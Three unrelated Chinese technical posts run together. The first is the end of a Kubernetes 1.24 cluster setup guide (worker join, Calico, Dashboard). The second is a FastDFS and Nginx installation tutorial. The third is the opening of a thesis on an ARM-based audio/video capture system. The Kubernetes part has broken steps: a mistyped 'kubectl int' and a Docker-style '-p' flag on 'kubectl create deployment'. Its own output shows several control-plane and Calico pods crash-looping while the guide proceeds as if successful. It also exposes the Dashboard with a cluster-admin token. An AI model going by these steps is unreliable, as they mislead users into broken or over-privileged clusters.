registry.aliyuncs.com/google_containers/kube-controller-manager v1.24.1 b4ea7e648530d 31MB
registry.aliyuncs.com/google_containers/kube-proxy v1.24.1 beb86f5d8e6cd 39.5MB
registry.aliyuncs.com/google_containers/kube-scheduler v1.24.1 18688a72645c5 15.5MB
registry.aliyuncs.com/google_containers/pause 3.7 221177c6082a8 311kB注意:上面的镜像除了 calico 相关的(docker.io/calico/cni 和 docker.io/calico/node) 之外,其他都是 kubectl int 初始化拉取的镜像资源。Worker 节点加入 K8s 集群1. k8s 集群环境加入新的 worker node向集群添加新 node 节点,执行在 kubeadm init 输出的 kubeadm join 命令,分别在 worker node 执行如下命令:kubeadm join 192.168.18.130:6443 --token pc5d3x.9ccv3m5y1llljk90 \
--discovery-token-ca-cert-hash sha256:3f7b37c18a5ec21c3e225025e13a0ac53e7abdf717859808b24f9bc909b32b5b2. 生成加入 k8s 集群环境的 token默认 token 有效期为 24 小时,当过期之后,该 token 就不可用了。这时就需要重新创建 token,操作如下:$ kubeadm token create
$ kubeadm token list
$ openssl x509 -pubkey -in /etc/kubernetes/pki/ca.crt | openssl rsa -pubin -outform der 2>/dev/null | openssl dgst -sha256 -hex | sed 's/^.* //'
63bca849e0e01691ae14eab449570284f0c3ddeea590f8da988c07fe2729e924
$ kubeadm join 192.168.31.61:6443 --token nuja6n.o3jrhsffiqs9swnu --discovery-token-ca-cert-hash sha256:63bca849e0e01691ae14eab449570284f0c3ddeea590f8da988c07fe2729e924或者直接命令快捷生成kubeadm token create --print-join-command参考文档 =》https://kubernetes.io/docs/reference/setup-tools/kubeadm/kubeadm-join/部署容器网络/CNI(所有节点)1. CNI 简介CNI 全称是 Container Network Interface,即容器网络的 API 接口。它是 K8s 中标准的一个调用网络实现的接口。Kubelet 通过这个标准的 API 来调用不同的网络插件以实现不同的网络配置方式。CNI 插件就是实现了一系列的 CNI API 接口。常见的 CNI 插件包括 Calico、Flannel、Terway、Weave Net 以及 Contiv。2. CNI 分类及选型参考CNI 插件可以分为三种:Overlay、路由及 Underlay。【Overlay 模式】的典型特征是容器独立于主机的 IP 段,这个 IP 段进行跨主机网络通信时是通过在主机之间创建隧道的方式,将整个容器网段的包全都封装成底层的物理网络中主机之间的包。该方式的好处在于它不依赖于底层网络;【路由模式】中主机和容器也分属不同的网段,它与 Overlay 模式的主要区别在于它的跨主机通信是通过路由打通,无需在不同主机之间做一个隧道封包。但路由打通就需要部分依赖于底层网络,比如说要求底层网络有二层可达的一个能力;【Underlay 模式】中容器和宿主机位于同一层网络,两者拥有相同的地位。容器之间网络的打通主要依靠于底层网络。因此该模式是强依赖于底层能力的。对于 CNI 插件的选择,有以下几个维度参考:环境限制,不同环境中所支持的底层能力是不同的。功能需求性能需求了解更多可以参考 =》https://www.kubernetes.org.cn/6908.html注意:CNI 插件只需要部署其中一个即可,这里推荐 Calico 或 Flannel。3. Calico 简介Calico 是一个纯三层的数据中心网络方案,Calico 支持广泛的平台,包括 Kubernetes、OpenStack 等。Calico 在每一个计算节点利用 Linux Kernel 实现了一个高效的虚拟路由器( vRouter) 来负责数据转发,而每个 vRouter 通过 BGP 协议负责把自己上运行的 workload 的路由信息向整个 Calico 网络内传播。此外,Calico 项目还实现了 Kubernetes 网络策略,提供 ACL 功能。4. 下载 Calico 插件wget https://docs.projectcalico.org/manifests/calico.yaml5. 修改里面定义的 Pod 网络下载完后还需要修改里面定义 Pod 网络(CALICO_IPV4POOL_CIDR),与前面 kubeadm init 指定的一样【--pod-network-cidr=10.244.0.0/16】# The default IPv4 pool to create on startup if none exists. Pod IPs will be
# chosen from this range. Changing this value after installation will have
# no effect. This should fall within `--cluster-cidr`.
# - name: CALICO_IPV4POOL_CIDR
# value: "192.168.0.0/16"
- name: CALICO_IPV4POOL_CIDR
value: "10.244.0.0/16"查找 CALICO_IPV4POOL_CIDRvi calico.yaml
...
/CALICO_IPV4POOL_CIDR6. 应用 calico.yaml 配置修改完后应用 calico.yaml 清单kubectl apply -f calico.yaml输出如下信息:[root@k8s-master-01 /]# ls
bin boot calico.yaml cri-containerd-cni-1.6.4-linux-amd64.tar.gz dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var
[root@k8s-master-01 /]# kubectl apply -f calico.yaml
configmap/calico-config created
customresourcedefinition.apiextensions.k8s.io/bgpconfigurations.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/bgppeers.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/blockaffinities.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/caliconodestatuses.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/clusterinformations.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/felixconfigurations.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/globalnetworkpolicies.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/globalnetworksets.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/hostendpoints.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/ipamblocks.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/ipamconfigs.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/ipamhandles.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/ippools.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/ipreservations.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/kubecontrollersconfigurations.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/networkpolicies.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/networksets.crd.projectcalico.org created
clusterrole.rbac.authorization.k8s.io/calico-kube-controllers created
clusterrolebinding.rbac.authorization.k8s.io/calico-kube-controllers created
clusterrole.rbac.authorization.k8s.io/calico-node created
clusterrolebinding.rbac.authorization.k8s.io/calico-node created
daemonset.apps/calico-node created
serviceaccount/calico-node created
poddisruptionbudget.policy/calico-kube-controllers created7. 查看命名空间 kube-system 下的 podkubectl get pods -n kube-system输出如下信息:[root@k8s-master-01 /]# kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
calico-kube-controllers-56cdb7c587-mfl9d 1/1 Running 22 (21m ago) 126m
calico-node-2dtr8 0/1 Running 35 (5s ago) 126m
calico-node-hmdkf 0/1 CrashLoopBackOff 35 (2m6s ago) 126m
calico-node-l6448 0/1 Error 38 (70s ago) 126m
coredns-74586cf9b6-b5r68 1/1 Running 0 7h5m
coredns-74586cf9b6-jndhp 1/1 Running 0 7h6m
etcd-k8s-master-01 1/1 Running 0 7h9m
kube-apiserver-k8s-master-01 1/1 Running 6 (20m ago) 7h9m
kube-controller-manager-k8s-master-01 0/1 CrashLoopBackOff 23 (119s ago) 7h9m
kube-proxy-ctx7q 1/1 Running 0 7h6m
kube-proxy-l72sj 1/1 Running 0 6h15m
kube-proxy-s65x9 1/1 Running 0 6h15m
kube-scheduler-k8s-master-01 0/1 CrashLoopBackOff 21 (119s ago) 7h9m测试 K8s 集群验证 Pod 工作验证 Pod 网络通信验证 DNS 解析在 K8s 集群中创建一个 Pod,验证是否正常运行:kubectl create deployment nginx --image=nginx:latest -p 80:8080
kubectl expose deployment nginx --port=8080 --type=NodePort
kubectl get pod,svc访问 nginx 的 svc 地址:http://NodeIP:Port 关于 K8s nodePort、port、targetPort、hostPort 端口的介绍 =》https://www.jianshu.com/p/8275f2031c83在 Master 节点部署 Dashboard1. 下载 dashboard 的 recommended.yaml 配置文件wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.5.1/aio/deploy/recommended.yaml2. recommended.yaml 文件重命名(可选)把下载的 recommended.yaml 文件重命名为 dashboard-v2.5.1.yaml (可选,方便文件记录)mv recommended.yaml dashboard-v2.5.1.yaml 3. 修改 Dashboard 配置文件暴露到外部访问默认 Dashboard 只能集群内部访问,修改 Service 为 NodePort 类型,暴露到外部访问:$ vi dashboard-v2.5.1.yaml
---
kind: Service
apiVersion: v1
metadata:
labels:
k8s-app: kubernetes-dashboard
name: kubernetes-dashboard
namespace: kubernetes-dashboard
spec:
ports:
- port: 443
targetPort: 8443
nodePort: 30001
selector:
k8s-app: kubernetes-dashboard
type: NodePort
---4. 执行 dashboard-v2.5.1.yaml 配置文件kubectl apply -f dashboard-v2.5.1.yaml 输出如下信息:[root@k8s-master-01 /]# kubectl apply -f /root/dashboard-v2.5.1.yaml
namespace/kubernetes-dashboard created
serviceaccount/kubernetes-dashboard created
service/kubernetes-dashboard created
secret/kubernetes-dashboard-certs created
secret/kubernetes-dashboard-csrf created
secret/kubernetes-dashboard-key-holder created
configmap/kubernetes-dashboard-settings created
role.rbac.authorization.k8s.io/kubernetes-dashboard created
clusterrole.rbac.authorization.k8s.io/kubernetes-dashboard created
rolebinding.rbac.authorization.k8s.io/kubernetes-dashboard created
clusterrolebinding.rbac.authorization.k8s.io/kubernetes-dashboard created
deployment.apps/kubernetes-dashboard created
service/dashboard-metrics-scraper created
deployment.apps/dashboard-metrics-scraper created5. 查看 kubernetes-dashboardkubectl get pods -n kubernetes-dashboard输出如下信息:[root@k8s-master-01 /]# kubectl get pods -n kubernetes-dashboard
NAME READY STATUS RESTARTS AGE
dashboard-metrics-scraper-7bfdf779ff-q9tsk 0/1 ContainerCreating 0 74s
kubernetes-dashboard-6465b7f54c-frf2b 0/1 ContainerCreating 0 74s
[root@k8s-master-01 /]# kubectl get pods -n kubernetes-dashboard
NAME READY STATUS RESTARTS AGE
dashboard-metrics-scraper-7bfdf779ff-q9tsk 1/1 Running 0 32m
kubernetes-dashboard-6465b7f54c-frf2b 1/1 Running 0 32m6. 访问 kubernetes-dashboard访问 kubernetes-dashboard 地址https://NodeIP:30001创建 ServiceAccount 并绑定默认 cluster-admin 管理员集群角色:# 创建用户
$ kubectl create serviceaccount dashboard-admin -n kube-system
# 用户授权
$ kubectl create clusterrolebinding dashboard-admin --clusterrole=cluster-admin --serviceaccount=kube-system:dashboard-admin
# 获取用户 Token
$ kubectl describe secrets -n kube-system $(kubectl -n kube-system get secret | awk '/dashboard-admin/{print $1}')此处 master 节点的 ip 是 192.168.18.130,浏览器访问地址 =》https://192.168.18.130:30001/#/login最后使用输出的 token 登录 k8s-Dashboard。总结搭建 k8s 集群环境时,事先要规划编排好相关的资源环境以及各个组件的版本信息,开始部署之前务必保障系统环境准备事项的相关设置操作,此处我们采用的容器运行时是 containerd,由于默认的 yum 镜像源是国外环境,在国内网络环境无法访问,可配置国内的 yum 源(比如:阿里云 yum 镜像源)保障网络资源的连通性和可访问性,方便后面环节的相关操作(比如:containerd/kubeadm/kubelet 的安装、k8s master 节点的部署、容器网络 CNI 安装及网络编排)。每一个环节都很重要,中途遇到异常,多查看资料分析下原因,关键在于理解。
用FastDFS一步步搭建文件管理系统 上
一、FastDFS介绍FastDFS开源地址:https://github.com/happyfish100参考:分布式文件系统FastDFS设计原理 参考:FastDFS分布式文件系统个人封装的FastDFS Java API:https://github.com/bojiangzhou/lyyzoo-fastdfs-java1、简介FastDFS 是一个开源的高性能分布式文件系统(DFS)。 它的主要功能包括:文件存储,文件同步和文件访问,以及高容量和负载平衡。主要解决了海量数据存储问题,特别适合以中小文件(建议范围:4KB < file_size <500MB)为载体的在线服务。FastDFS 系统有三个角色:跟踪服务器(Tracker Server)、存储服务器(Storage Server)和客户端(Client)。 Tracker Server:跟踪服务器,主要做调度工作,起到均衡的作用;负责管理所有的 storage server和 group,每个 storage 在启动后会连接 Tracker,告知自己所属 group 等信息,并保持周期性心跳。 Storage Server:存储服务器,主要提供容量和备份服务;以 group 为单位,每个 group 内可以有多台 storage server,数据互为备份。 Client:客户端,上传下载数据的服务器,也就是我们自己的项目所部署在的服务器。2、FastDFS的存储策略为了支持大容量,存储节点(服务器)采用了分卷(或分组)的组织方式。存储系统由一个或多个卷组成,卷与卷之间的文件是相互独立的,所有卷的文件容量累加就是整个存储系统中的文件容量。一个卷可以由一台或多台存储服务器组成,一个卷下的存储服务器中的文件都是相同的,卷中的多台存储服务器起到了冗余备份和负载均衡的作用。在卷中增加服务器时,同步已有的文件由系统自动完成,同步完成后,系统自动将新增服务器切换到线上提供服务。当存储空间不足或即将耗尽时,可以动态添加卷。只需要增加一台或多台服务器,并将它们配置为一个新的卷,这样就扩大了存储系统的容量。3、FastDFS的上传过程FastDFS向使用者提供基本文件访问接口,比如upload、download、append、delete等,以客户端库的方式提供给用户使用。Storage Server会定期的向Tracker Server发送自己的存储信息。当Tracker Server Cluster中的Tracker Server不止一个时,各个Tracker之间的关系是对等的,所以客户端上传时可以选择任意一个Tracker。当Tracker收到客户端上传文件的请求时,会为该文件分配一个可以存储文件的group,当选定了group后就要决定给客户端分配group中的哪一个storage server。当分配好storage server后,客户端向storage发送写文件请求,storage将会为文件分配一个数据存储目录。然后为文件分配一个fileid,最后根据以上的信息生成文件名存储文件。4、FastDFS的文件同步写文件时,客户端将文件写至group内一个storage server即认为写文件成功,storage server写完文件后,会由后台线程将文件同步至同group内其他的storage server。每个storage写文件后,同时会写一份binlog,binlog里不包含文件数据,只包含文件名等元信息,这份binlog用于后台同步,storage会记录向group内其他storage同步的进度,以便重启后能接上次的进度继续同步;进度以时间戳的方式进行记录,所以最好能保证集群内所有server的时钟保持同步。storage的同步进度会作为元数据的一部分汇报到tracker上,tracke在选择读storage的时候会以同步进度作为参考。5、FastDFS的文件下载客户端uploadfile成功后,会拿到一个storage生成的文件名,接下来客户端根据这个文件名即可访问到该文件。跟upload file一样,在downloadfile时客户端可以选择任意tracker server。tracker发送download请求给某个tracker,必须带上文件名信息,tracke从文件名中解析出文件的group、大小、创建时间等信息,然后为该请求选择一个storage用来服务读请求。二、安装FastDFS环境0、前言操作环境:CentOS7 X64,以下操作都是单机环境。我把所有的安装包下载到/softpackages/下,解压到当前目录。先做一件事,修改hosts,将文件服务器的ip与域名映射(单机TrackerServer环境),因为后面很多配置里面都需要去配置服务器地址,ip变了,就只需要修改hosts即可。# vim /etc/hosts增加如下一行,这是我的IP192.168.51.128 file.ljzsg.com如果要本机访问虚拟机,在C:\Windows\System32\drivers\etc\hosts中同样增加一行1、下载安装 libfastcommonlibfastcommon是从 FastDFS 和 FastDHT 中提取出来的公共 C 函数库,基础环境,安装即可 。① 下载libfastcommon# wget https://github.com/happyfish100/libfastcommon/archive/V1.0.7.tar.gz② 解压# tar -zxvf V1.0.7.tar.gz# cd libfastcommon-1.0.7③ 编译、安装# ./make.sh# ./make.sh install④ libfastcommon.so 安装到了/usr/lib64/libfastcommon.so,但是FastDFS主程序设置的lib目录是/usr/local/lib,所以需要创建软链接。# ln -s /usr/lib64/libfastcommon.so /usr/local/lib/libfastcommon.so# ln -s /usr/lib64/libfastcommon.so /usr/lib/libfastcommon.so# ln -s /usr/lib64/libfdfsclient.so /usr/local/lib/libfdfsclient.so# ln -s /usr/lib64/libfdfsclient.so /usr/lib/libfdfsclient.so 2、下载安装FastDFS① 下载FastDFS# wget https://github.com/happyfish100/fastdfs/archive/V5.05.tar.gz② 解压# tar -zxvf V5.05.tar.gz# cd fastdfs-5.05③ 编译、安装# ./make.sh# ./make.sh install④ 默认安装方式安装后的相应文件与目录 A、服务脚本:/etc/init.d/fdfs_storaged/etc/init.d/fdfs_tracker B、配置文件(这三个是作者给的样例配置文件) :/etc/fdfs/client.conf.sample
/etc/fdfs/storage.conf.sample
/etc/fdfs/tracker.conf.sample C、命令工具在 /usr/bin/ 目录下:fdfs_appender_test
fdfs_appender_test1
fdfs_append_file
fdfs_crc32
fdfs_delete_file
fdfs_download_file
fdfs_file_info
fdfs_monitor
fdfs_storaged
fdfs_test
fdfs_test1
fdfs_trackerd
fdfs_upload_appender
fdfs_upload_file
stop.sh
restart.sh⑤ FastDFS 服务脚本设置的 bin 目录是 /usr/local/bin, 但实际命令安装在 /usr/bin/ 下。 两种方式: 》 一是修改FastDFS 服务脚本中相应的命令路径,也就是把 /etc/init.d/fdfs_storaged 和 /etc/init.d/fdfs_tracker 两个脚本中的 /usr/local/bin 修改成 /usr/bin。 # vim fdfs_trackerd 使用查找替换命令进统一修改:%s+/usr/local/bin+/usr/bin # vim fdfs_storaged 使用查找替换命令进统一修改:%s+/usr/local/bin+/usr/bin》 二是建立 /usr/bin 到 /usr/local/bin 的软链接,我是用这种方式。 # ln -s /usr/bin/fdfs_trackerd /usr/local/bin# ln -s /usr/bin/fdfs_storaged /usr/local/bin# ln -s /usr/bin/stop.sh /usr/local/bin# ln -s /usr/bin/restart.sh /usr/local/bin3、配置FastDFS跟踪器(Tracker)配置文件详细说明参考:FastDFS 配置文件详解① 进入 /etc/fdfs,复制 FastDFS 跟踪器样例配置文件 tracker.conf.sample,并重命名为 tracker.conf。# cd /etc/fdfs# cp tracker.conf.sample tracker.conf# vim tracker.conf② 编辑tracker.conf ,标红的需要修改下,其它的默认即可。# 配置文件是否不生效,false 为生效disabled=false# 提供服务的端口port=22122# Tracker 数据和日志目录地址(根目录必须存在,子目录会自动创建)base_path=/ljzsg/fastdfs/tracker# HTTP 服务端口http.server_port=80③ 创建tracker基础数据目录,即base_path对应的目录# mkdir -p /ljzsg/fastdfs/tracker④ 防火墙中打开跟踪端口(默认的22122)# vim /etc/sysconfig/iptables添加如下端口行:-A INPUT -m state --state NEW -m tcp -p tcp --dport 22122 -j ACCEPT重启防火墙:# service iptables restart⑤ 启动Tracker初次成功启动,会在 /ljzsg/fdfsdfs/tracker/ (配置的base_path)下创建 data、logs 两个目录。可以用这种方式启动# /etc/init.d/fdfs_trackerd start也可以用这种方式启动,前提是上面创建了软链接,后面都用这种方式# service fdfs_trackerd start查看 FastDFS Tracker 是否已成功启动 ,22122端口正在被监听,则算是Tracker服务安装成功。# netstat -unltp|grep fdfs关闭Tracker命令:# service fdfs_trackerd stop⑥ 设置Tracker开机启动# chkconfig fdfs_trackerd on或者:# vim /etc/rc.d/rc.local加入配置:/etc/init.d/fdfs_trackerd start ⑦ tracker server 目录及文件结构Tracker服务启动成功后,会在base_path下创建data、logs两个目录。目录结构如下:${base_path} |__data | |__storage_groups.dat:存储分组信息 | |__storage_servers.dat:存储服务器列表 |__logs | |__trackerd.log: tracker server 日志文件 4、配置 FastDFS 存储 (Storage)① 进入 /etc/fdfs 目录,复制 FastDFS 存储器样例配置文件 storage.conf.sample,并重命名为 storage.conf# cd /etc/fdfs# cp storage.conf.sample storage.conf# vim storage.conf② 编辑storage.conf标红的需要修改,其它的默认即可。# 配置文件是否不生效,false 为生效disabled=false # 指定此 storage server 所在 组(卷)group_name=group1# storage server 服务端口port=23000# 心跳间隔时间,单位为秒 (这里是指主动向 tracker server 发送心跳)heart_beat_interval=30# Storage 数据和日志目录地址(根目录必须存在,子目录会自动生成)base_path=/ljzsg/fastdfs/storage# 存放文件时 storage server 支持多个路径。这里配置存放文件的基路径数目,通常只配一个目录。store_path_count=1# 逐一配置 store_path_count 个路径,索引号基于 0。# 如果不配置 store_path0,那它就和 base_path 对应的路径一样。store_path0=/ljzsg/fastdfs/file# FastDFS 存储文件时,采用了两级目录。这里配置存放文件的目录个数。 # 如果本参数只为 N(如: 256),那么 storage server 在初次运行时,会在 store_path 下自动创建 N * N 个存放文件的子目录。subdir_count_per_path=256# tracker_server 的列表 ,会主动连接 tracker_server# 有多个 tracker server 时,每个 tracker server 写一行tracker_server=file.ljzsg.com:22122# 允许系统同步的时间段 (默认是全天) 。一般用于避免高峰同步产生一些问题而设定。sync_start_time=00:00sync_end_time=23:59# 访问端口http.server_port=80③ 创建Storage基础数据目录,对应base_path目录# mkdir -p /ljzsg/fastdfs/storage# 这是配置的store_path0路径# mkdir -p /ljzsg/fastdfs/file④ 防火墙中打开存储器端口(默认的 23000)# vim /etc/sysconfig/iptables添加如下端口行:-A INPUT -m state --state NEW -m tcp -p tcp --dport 23000 -j ACCEPT重启防火墙:# service iptables restart⑤ 启动 Storage启动Storage前确保Tracker是启动的。初次启动成功,会在 /ljzsg/fastdfs/storage 目录下创建 data、 logs 两个目录。可以用这种方式启动# /etc/init.d/fdfs_storaged start也可以用这种方式,后面都用这种# service fdfs_storaged start查看 Storage 是否成功启动,23000 端口正在被监听,就算 Storage 启动成功。# netstat -unltp|grep fdfs关闭Storage命令:# service fdfs_storaged stop查看Storage和Tracker是否在通信:/usr/bin/fdfs_monitor /etc/fdfs/storage.conf⑥ 设置 Storage 开机启动# chkconfig fdfs_storaged on或者:# vim /etc/rc.d/rc.local加入配置:/etc/init.d/fdfs_storaged start⑦ Storage 目录同 Tracker,Storage 启动成功后,在base_path 下创建了data、logs目录,记录着 Storage Server 的信息。在 store_path0 目录下,创建了N*N个子目录:5、文件上传测试① 修改 Tracker 服务器中的客户端配置文件 # cd /etc/fdfs# cp client.conf.sample client.conf# vim client.conf修改如下配置即可,其它默认。# Client 的数据和日志目录base_path=/ljzsg/fastdfs/client# Tracker端口tracker_server=file.ljzsg.com:22122② 上传测试 在linux内部执行如下命令上传 namei.jpeg 图片# /usr/bin/fdfs_upload_file /etc/fdfs/client.conf namei.jpeg上传成功后返回文件ID号:group1/M00/00/00/wKgz6lnduTeAMdrcAAEoRmXZPp870.jpeg返回的文件ID由group、存储目录、两级子目录、fileid、文件后缀名(由客户端指定,主要用于区分文件类型)拼接而成。三、安装Nginx上面将文件上传成功了,但我们无法下载。因此安装Nginx作为服务器以支持Http方式访问文件。同时,后面安装FastDFS的Nginx模块也需要Nginx环境。Nginx只需要安装到StorageServer所在的服务器即可,用于访问文件。我这里由于是单机,TrackerServer和StorageServer在一台服务器上。1、安装nginx所需环境 ① gcc 安装# yum install gcc-c++② PCRE pcre-devel 安装# yum install -y pcre pcre-devel③ zlib 安装# yum install -y zlib zlib-devel④ OpenSSL 安装# yum install -y openssl openssl-devel2、安装Nginx① 下载nginx# wget -c https://nginx.org/download/nginx-1.12.1.tar.gz② 解压# tar -zxvf nginx-1.12.1.tar.gz# cd nginx-1.12.1③ 使用默认配置# ./configure④ 编译、安装# make# make install⑤ 启动nginx# cd /usr/local/nginx/sbin/# ./nginx 其它命令# ./nginx -s stop# ./nginx -s quit# ./nginx -s reload⑥ 设置开机启动# vim /etc/rc.local添加一行:/usr/local/nginx/sbin/nginx# 设置执行权限# chmod 755 rc.local⑦ 查看nginx的版本及模块/usr/local/nginx/sbin/nginx -V⑧ 防火墙中打开Nginx端口(默认的 80) 添加后就能在本机使用80端口访问了。# vim /etc/sysconfig/iptables添加如下端口行:-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT重启防火墙:# service iptables restart3、访问文件简单的测试访问文件① 修改nginx.conf# vim /usr/local/nginx/conf/nginx.conf添加如下行,将 /group1/M00 映射到 /ljzsg/fastdfs/file/datalocation /group1/M00 { alias /ljzsg/fastdfs/file/data;}# 重启nginx# /usr/local/nginx/sbin/nginx -s reload② 在浏览器访问之前上传的图片、成功。http://file.ljzsg.com/group1/M00/00/00/wKgz6lnduTeAMdrcAAEoRmXZPp870.jpeg
【IoT】产品模型:基于 ARM 的音视频采集与传输系统
1 前言. 11.1 研究背景. 11.2 国内外发展概况. 11.3 论文的主要研究内容. 22 系统总体方案设计. 32.1 系统总体框图. 32.2 图像采集与编码模块方案介绍与论证. 32.2.1 DSP+视频采集芯片. 32.2.2 DSP+ARM+视频采集芯片. 42.2.3 ARM+视频压缩芯片+视频采集芯片. 42.2.4 ARM+T264编码库或FFmpeg x264编码库. 42.2.5 ARM+MJPG-streamer视频服务器. 52.3 音频采集与编解码模块. 62.3.1 音频采集与编码方案设计. 62.3.2 音频编程接口选择. 62.4 电力线载波通信模块. 62.4.1 电力线载波通信方案设计. 62.4.2 调制解调芯片选择. 72.5 嵌入式平台介绍及环境搭建. 72.5.1 硬件平台介绍. 72.5.2 平台软件环境搭建. 92.6 本章小结. 113 视频采集与编解码设计. 123.1 视频模块系统设计. 123.1.1 视频概述. 123.1.2 V4L2标准编程框架. 123.1.3 视频模块系统框图. 123.2 MJPG-streamer视频流服务器. 133.3 MJPG-streamer的移植. 133.3.1 JPEG库移植. 133.3.2 MJPG-streamer移植. 143.4 MJPG-streamer主程序处理流程. 153.5 视频服务器登陆设计. 163.5.1 Boa服务器概述. 163.5.2 Boa服务器功能. 163.5.3 Boa服务器移植. 163.5.4 CGI简介. 173.5.5 HTML简介. 183.5.6 JavaScript简介. 193.6 本章小结. 204 音频采集与编解码设计. 214.1 音频传输协议介绍. 214.2 音频基础介绍. 214.3 音频传输系统设计. 254.3.1 音频模块系统框图. 254.3.1 音频缓存区设计. 254.4 本章小结. 265 电力线载波通信设计. 275.1 电力线通信技术概述. 275.2 电力载波通信系统设计. 275.3 通信模块设计. 315.3.1 INT5500CS工作模式选择. 315.3.2 以太网模块设计. 315.3.3 用户接口协议. 325.4 本章小结. 346 样机系统功能测试. 356.1 系统测试准备. 356.1.1 音频测试. 356.1.2 视频测试. 356.1.2 电力线载波通信测试. 356.2 系统测试. 356.2.1 音频功能测试. 356.2.2 视频功能测试. 366.2.3 电力线载波通信功能测试. 386.2.4 联机测试. 386.3 总结与展望. 40参考文献. 41致 谢. 42附 录. 43 1 前言1.1 研究背景随着电力线通信(Power Line Communication)网络技术的发展以及音视频编解码技术的不断完善,使得音视频采集与传输系统深入到人们生活的方方面面。在公共安全领域,音视频监控系统是安全技术防范产业发展的重要基础,为相关人员处理突发事件提供直接证据;在家庭生活领域,音视频采集与传输系统可以方便户主实时监测家庭环境,同时也使得父母时刻关注婴儿成长变成可能;在科技发展与研究领域,使得人们可以在不进入恶劣环境的情况下采集环境音视频数据参数并且为科技研究提供资料。近几年PLC网络技术快速发展,传输带宽以及抗干扰的能力不断加强。由最初的FSK调制技术发展到如今流行的扩频技术与OFDM技术。传输带宽由几十Kbps到几百Mbps不等,部分小区已经开始PLC网络的试点,并且无需重新布线,随着关键技术的解决,电力线上网在逐步走进人们的生活。综上所述,本课题针对需求,提出了具体的解决方案,将音频、视频和电力载波通信结合在一起,具有良好的实用价值和研究价值。1.2 国内外发展概况21世纪以来,智能化建筑迅速发展,随着高科技电子产品的不断更新与完善,极大促进了技防产品市场的发展。中国安防产业与家庭环境监测技术迅速发展,随着科技进步,安防行业领域仍将不断扩大,目前已经发展到了视频监控、出入口控制、入侵报警、防爆安检等十几个大类。互联网技术已经渗透到人们生活的方方面面,同时随着各种新技术的大量涌现,作为一种崭新的技术,电力载波通信开始逐步走进人们的视野,该技术通过将载有数据信息的高频调制信号加载于电流,无需重新布线,利用已有的低压配电网络即可完成数据传输和信息交换。调制方式由最初的调频技术发展到如今流行的OFDM技术,传输带宽也随之达到几百Mbps,使得宽带电力线上网成为可能。电力载波通信技术已经成为国内外公司和科研单位研究的热点,而国外对电力载波通信的研究起步较早,并且制定了相应的协议规范,一些国家和地区已经开始尝试将电力线通信应用于室内组网和高速数据接入。将覆盖广泛的电力网用于网络通信,不仅无需建设新的通信网络、节约资源和成本,而且能充分发挥电力资源优势,实现电话、数据、视频和电力的有效结合,具有广阔的应用市场和前景。1.3 论文的主要研究内容嵌入式音视频采集与传输系统需要实现的主要内容是研究音视频编解码以及电力载波通信。本系统通过通用USB摄像头获取环境视频数据,搭建好的嵌入式服务器将采集到的数据进行编码压缩生成数据流,并通过网络传输至PC机,在终端显示图像数据。拾音器将采集到的音频数据组成RTP包发送至网络,在终端播放音频数据。为了深化本设计的实用性,采集到的数据首先通过OFDM调制进入到PLC网络,经过解调后发送至远端PC机。本次设计需要了解ARM体系基本架构,熟悉嵌入式Linux环境搭建过程;学习音视频编解码基本知识;学习流媒体相关知识;了解宽带电力线传输基本理论,熟悉国内外电力线网络发展概况;熟悉嵌入式网络服务器搭建的基本方法,了解网页制作等基本知识。2 系统总体方案设计2.1 系统总体框图本系统涉及到音视频采集、音视频编码、电力线载波通信、音视频解码和终端显示几大部分,如图2-1所示:图2-1 音视频采集与传输系统总体框图2.2 图像采集与编码模块方案介绍与论证2.2.1 DSP+视频采集芯片该方案属于硬件压缩,使用视频采集芯片完成图像A/D的转换,通过DSP芯片完成数字图像数据的存储和编码压缩,典型方案如图2-2所示:图2-2 视频采集与编码方案一2.2.2 DSP+ARM+视频采集芯片该方案属于硬件压缩,视频采集芯片完成模拟图像A/D的转换,DSP实现数字图像压缩编码,ARM实现系统控制和网络传输。该方案增加了嵌入式处理器,可以运行操作系统,增加了系统灵活性,典型方案如图2-3所示:图2-3 视频采集与编码方案二2.2.3 ARM+视频压缩芯片+视频采集芯片该方案属于硬件压缩,经过转化的数字视频流由专用编码芯片编码,ARM控制图像数据存储和传输,典型方案如图2-4所示:图2-4 视频采集与编码方案三2.2.4 ARM+T264编码库或FFmpeg x264编码库该方案属于软件压缩,ARM微处理器通过V4L接口从摄像头获取视频数据,调用编码库对数据编码,通过以太网传输,但T264编码库处理视频格式有限,灵活性较差。相比于T264编码库,FFmpeg x264功能强大,支持更加广泛。典型方案如图2-5所示:图2-5 视频采集与编码方案四2.2.5 ARM+MJPG-streamer视频服务器该方案属于软件压缩,开源工程MJPG-streamer是以TCP/IP协议为基础,结合v4l标准接口,实现的视频流服务器。它首先通过v4l标准接口采集图像数据,并将采集到的数据编码压缩后以流的形式传输至终端浏览器实时播放显示,该服务器也可以利用某些摄像头的硬件压缩功能来降低服务器CPU的软件开销,典型方案如图2-6所示:图2-6 视频采集与编码方案五相比于软件压缩,硬件压缩效率较高,尤其是方案三,灵活性以及编码效率都要比其他方案更具有实用价值。但本系统涉及研究内容较多,成本以及开发周期有限,因此采用方案五,经实验测试完全可以满足本次设计要求。
